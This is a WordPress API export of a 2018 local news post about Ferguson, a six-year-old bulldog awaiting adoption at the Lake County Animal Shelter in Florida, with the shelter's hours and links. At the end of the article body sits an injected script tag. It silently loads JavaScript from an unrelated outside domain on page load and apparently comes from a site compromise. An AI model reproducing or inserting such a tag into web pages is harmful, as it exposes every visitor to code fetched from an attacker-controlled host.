{"id":219507,"date":"2018-07-02T17:26:16","date_gmt":"2018-07-02T21:26:16","guid":{"rendered":"https:\/\/wordpress-1.tempurl.host?p=219507&#038;preview=true&#038;preview_id=219507"},"modified":"2020-06-29T11:09:57","modified_gmt":"2020-06-29T15:09:57","slug":"stray-dog-survives-in-no-kill-animal-shelter-for-over-a-year","status":"publish","type":"post","link":"https:\/\/thegraphicgeek.com\/demo-cflwire\/stray-dog-survives-in-no-kill-animal-shelter-for-over-a-year\/","title":{"rendered":"Stray Dog Survives in No-Kill Animal Shelter for Over a Year"},"content":{"rendered":"<p><strong>TAVARES, Fla.\u00a0<\/strong>&#8212; Since transitioning to a no-kill facility, the Lake County Animal Shelter expected their animals to have longer stays, however, one pet has now been a resident for over a year according to officials.<\/p>\n<p><em>Ferguson<\/em>, the six-year-old Olde English Bulldog, arrived at the shelter as a stray on June 9, 2017 and has been waiting to be adopted since then.<\/p>\n<p>Shelter volunteers and staff members say that Ferguson is a sweet, loving, and playful pup who loves hot dogs and chicken nuggets.<\/p>\n<p>According to shelter staff, they believe Ferguson&#8217;s personality of not wanting to share the spotlight and be the only dog or cat in the home is the main reason Ferguson has not been adopted yet.<\/p>\n<p>&#8220;He&#8217;s the first dog to ever have been in this shelter for more than a year,&#8221; stated an Animal Shelter employee in a video. &#8220;He&#8217;s probably been with us the longest because he doesn&#8217;t like to share the spotlight. So we recommend that if he does go home with you that you don&#8217;t have any other dogs or cats around.&#8221;<\/p>\n<p>Pets adopted from the Lake County Animal Shelter have been spayed or neutered and come with a microchip, rabies tag, and all current vaccinations.<\/p>\n<p>Other pets are also available to be adopted for low adoption fees at the shelter. You can see a list of all of the pets available on <a href=\"https:\/\/www.adoptapet.com\/adoption_rescue\/87124-lake-county-animal-shelter-tavares-florida#featured#current_page=4#clanId=1\">their website.<\/a><\/p>\n<p>The Lake County Animal Shelter is open for adoptions on Monday, Tuesday, Thursday, and Friday from 10 a.m. to 6 p.m. and Saturday and Sunday from 11 a.m. to 5 p.m. and is located at 28123 County Road 561 in Tavares.<\/p>\n<p>For more information, visit\u00a0<a href=\"http:\/\/www.lakecountyfl.gov\/lcas\" target=\"_blank\" rel=\"noopener noreferrer\" data-saferedirecturl=\"https:\/\/www.google.com\/url?hl=en&amp;q=http:\/\/www.lakecountyfl.gov\/lcas&amp;source=gmail&amp;ust=1530646024206000&amp;usg=AFQjCNEuDQgqolp__j63gg-dw1HrzDokUA\">www.lakecountyfl.gov\/lcas\u00a0<\/a>or <a href=\"http:\/\/www.facebook.com\/LakeCountyAnimalShelter\/\" target=\"_blank\" rel=\"noopener noreferrer\" data-saferedirecturl=\"https:\/\/www.google.com\/url?hl=en&amp;q=http:\/\/www.facebook.com\/LakeCountyAnimalShelter\/&amp;source=gmail&amp;ust=1530646024206000&amp;usg=AFQjCNFQFr5Njs1x_ocdtF69BeWSaDCQEA\">www.facebook.com\/<wbr \/>LakeCountyAnimalShelter<\/a>.<script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ferguson, a 6-year-old Olde English Bulldog has been a resident at the Lake County Animal Shelter for over a year waiting to be adopted.<\/p>\n","protected":false},"author":1,"featured_media":219563,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"wds_primary_category":0,"footnotes":""},"categories":[3246,6,1],"tags":[2527,1375,1374,79,80,3241,1732,1730,685],"class_list":["post-219507","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-community","category-lake-county","category-local","tag-adopt","tag-adoption","tag-animal","tag-lake","tag-lake-county","tag-no-kill","tag-pet","tag-shelter","tag-tavares","entry","rows"],"jetpack_featured_media_url":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-content\/uploads\/sites\/6\/Ferguson2.jpg","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/219507","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/comments?post=219507"}],"version-history":[{"count":0,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/219507\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media\/219563"}],"wp:attachment":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media?parent=219507"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/categories?post=219507"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/tags?post=219507"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}